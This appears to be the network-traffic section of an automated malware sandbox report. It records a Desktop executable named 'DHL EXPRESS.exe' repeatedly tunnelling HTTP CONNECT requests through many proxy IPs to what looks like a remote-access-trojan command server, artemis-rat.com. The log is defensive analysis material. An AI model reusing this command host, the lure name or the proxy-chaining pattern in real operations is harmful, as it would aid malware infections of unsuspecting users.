CSS Templates http://www.freecsstemplates.org Released for free under a Creative C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.8	50301	58.234.116.197	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.532500029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.8	50442	162.243.102.207	9764	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.556394100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.8	49753	162.214.90.49	58740	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.557030916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.565783978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.566024065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.675400972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.769037962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:21.768907070 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:33.797043085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:57.971934080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:46.003289938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.8	50432	199.58.185.9	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.557295084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.8	50303	193.106.57.96	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.560544968 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.8	50490	142.54.231.38	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.561134100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.8	50326	186.124.164.213	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.563128948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.8	50562	31.43.179.160	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.569557905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.724036932 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.8	50509	203.161.32.242	52903	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.574625969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.096884966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.721918106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.066276073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.566003084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.066041946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.566024065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.565882921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:10.566026926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.8	50284	182.72.203.255	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.575248957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.684153080 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.8	50219	124.163.236.54	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.575249910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.026880026 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.8	50322	95.84.166.138	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.577476025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.8	49754	194.4.50.91	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.580740929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.8	50585	185.238.228.202	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.582551003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.737382889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.8	50587	104.25.87.42	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.582706928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.737394094 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.8	50588	104.21.223.181	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.587555885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.741933107 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.8	50363	51.161.131.84	49202	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.587855101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.8	50255	222.138.76.6	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.593027115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.047512054 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.8	50535	23.95.209.142	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.596954107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.8	49933	47.254.90.125	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.601047993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:48.676785946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.706619978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.706650019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.8	50329	173.249.29.243	9123	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.601367950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.346864939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.728863955 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.8	50429	8.218.100.120	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.605468035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.268794060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.882255077 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 17:36:47 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.8	50375	213.184.153.66	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.607741117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
